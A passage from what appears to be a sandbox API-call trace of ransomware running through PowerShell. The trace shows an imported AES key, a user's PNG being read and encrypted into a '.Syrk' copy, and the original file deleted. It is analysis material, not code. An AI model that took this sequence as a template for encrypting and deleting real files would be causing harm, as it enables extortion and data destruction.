(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0249.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0249.972] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0249.972] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0249.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0249.972] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0249.972] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0249.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0249.972] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0249.973] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0249.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0249.973] SystemFunction041 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0249.973] SystemFunction040 (in: Memory=0x3af2fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af2fc) returned 0x0 [0249.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0249.974] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0249.974] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0249.974] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0249.974] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0249.974] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0249.974] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0249.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0249.975] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0249.975] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.975] EtwEventActivityIdControl () returned 0x0 [0249.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0249.975] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0249.975] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0249.976] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d430) returned 1 [0249.978] CryptImportKey (in: hProv=0x5c4d430, pbData=0x24277fc*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99720) returned 1 [0249.978] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.978] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.979] EtwEventActivityIdControl () returned 0x0 [0249.979] EtwEventActivityIdControl () returned 0x0 [0249.979] EtwEventActivityIdControl () returned 0x0 [0249.984] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png")) returned 0x20 [0249.985] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png")) returned 0x20 [0249.985] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0249.985] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0249.985] EtwEventActivityIdControl () returned 0x0 [0249.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.986] EtwEventActivityIdControl () returned 0x0 [0249.986] EtwEventActivityIdControl () returned 0x0 [0249.986] EtwEventActivityIdControl () returned 0x0 [0249.987] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0249.987] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0249.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0249.987] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0249.987] GetFileType (hFile=0x3c4) returned 0x1 [0249.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0249.987] GetFileType (hFile=0x3c4) returned 0x1 [0249.987] EtwEventActivityIdControl () returned 0x0 [0249.987] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.988] EtwEventActivityIdControl () returned 0x0 [0249.988] EtwEventActivityIdControl () returned 0x0 [0249.988] EtwEventActivityIdControl () returned 0x0 [0249.989] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0249.989] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk", lpFilePart=0x0) returned 0x33 [0249.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0249.989] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0249.989] GetFileType (hFile=0x454) returned 0x1 [0249.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0249.989] GetFileType (hFile=0x454) returned 0x1 [0249.989] EtwEventActivityIdControl () returned 0x0 [0249.990] CryptGenRandom (in: hProv=0x5c4d430, dwLen=0x10, pbBuffer=0x2437c5c | out: pbBuffer=0x2437c5c) returned 1 [0249.990] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.991] CryptDuplicateKey (in: hKey=0x5c99720, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c999a0) returned 1 [0249.991] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.991] CryptSetKeyParam (hKey=0x5c999a0, dwParam=0x4, pbData=0x2438f94*=0x1, dwFlags=0x0) returned 1 [0249.991] CryptSetKeyParam (hKey=0x5c999a0, dwParam=0x1, pbData=0x2438f60, dwFlags=0x0) returned 1 [0249.991] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.991] EtwEventActivityIdControl () returned 0x0 [0249.991] EtwEventActivityIdControl () returned 0x0 [0249.991] EtwEventActivityIdControl () returned 0x0 [0249.992] EtwEventActivityIdControl () returned 0x0 [0249.992] ReadFile (in: hFile=0x3c4, lpBuffer=0x243bbd0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x243bbd0*, lpNumberOfBytesRead=0x5a2e7d8*=0x7d03, lpOverlapped=0x0) returned 1 [0249.994] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x244fbe8*, pdwDataLen=0x5a2e7cc*=0x7d00, dwBufLen=0x7d00 | out: pbData=0x244fbe8*, pdwDataLen=0x5a2e7cc*=0x7d00) returned 1 [0249.994] WriteFile (in: hFile=0x454, lpBuffer=0x2437d44*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2437d44*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0249.995] WriteFile (in: hFile=0x454, lpBuffer=0x2450bd4*, nNumberOfBytesToWrite=0x6d14, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2450bd4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x6d14, lpOverlapped=0x0) returned 1 [0249.996] ReadFile (in: hFile=0x3c4, lpBuffer=0x243bbd0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x243bbd0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0249.996] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24578f4*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24578f4*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0249.996] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2457910*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2457910*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0249.996] WriteFile (in: hFile=0x454, lpBuffer=0x2437d44*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2437d44*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0249.996] CloseHandle (hObject=0x454) returned 1 [0249.997] CloseHandle (hObject=0x3c4) returned 1 [0249.998] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.998] EtwEventActivityIdControl () returned 0x0 [0249.998] EtwEventActivityIdControl () returned 0x0 [0249.998] EtwEventActivityIdControl () returned 0x0 [0250.002] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png")) returned 0x20 [0250.004] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.004] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0250.004] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0250.004] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0250.005] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0250.005] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0250.005] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0250.005] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0250.005] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0250.005] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0250.005] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0250.005] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0250.005] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0250.005] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0250.005] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0250.005] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0250.006] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0250.006] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0250.006] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png")) returned 0x20 [0250.006] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.006] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0250.008] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.008] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0250.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0250.008] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.008] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0250.008] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0250.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0250.009] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0250.009] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0250.009] CoTaskMemFree (pv=0x3b0008) [0250.010] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png")) returned 0x20 [0250.010] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0250.010] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png", lpFilePart=0x0) returned 0x2e [0250.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0250.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png"), fInfoLevelId=0x0, lpFileInformation=0x2462db4 | out: lpFileInformation=0x2462db4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb036180, ftCreationTime.dwHighDateTime=0x1d998fd, ftLastAccessTime.dwLowDateTime=0xa9edc6e0, ftLastAccessTime.dwHighDateTime=0x1d99d2a, ftLastWriteTime.dwLowDateTime=0xa9edc6e0, ftLastWriteTime.dwHighDateTime=0x1d99d2a, nFileSizeHigh=0x0, nFileSizeLow=0x7d03)) returned 1 [0250.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0250.058] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png")) returned 1 [0250.060] EtwEventActivityIdControl () returned 0x0 [0250.060] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.060] EtwEventActivityIdControl () returned 0x0 [0250.060] EtwEventActivityIdControl () returned 0x0 [0250.060] EtwEventActivityIdControl () returned 0x0 [0250.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png.syrk")) returned 0x20 [0250.068] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png.syrk")) returned 0x20 [0250.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0250.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk", lpFilePart=0x0) returned 0x33 [0250.069] EtwEventActivityIdControl () returned 0x0 [0250.069] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.070] EtwEventActivityIdControl () returned 0x0 [0250.070] EtwEventActivityIdControl () returned 0x0 [0250.070] EtwEventActivityIdControl () returned 0x0 [0250.075] EtwEventActivityIdControl () returned 0x0 [0250.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.076] EtwEventActivityIdControl () returned 0x0 [0250.076] EtwEventActivityIdControl () returned 0x0 [0250.076] EtwEventActivityIdControl () returned 0x0 [0250.080] EtwEventActivityIdControl () returned 0x0 [0250.080] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.080] EtwEventActivityIdControl () returned 0x0 [0250.080] EtwEventActivityIdControl () returned 0x0 [0250.080] EtwEventActivityIdControl () returned 0x0 [0250.084] EtwEventActivityIdControl () returned 0x0 [0250.084] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.085] EtwEventActivityIdControl () returned 0x0 [0250.085] 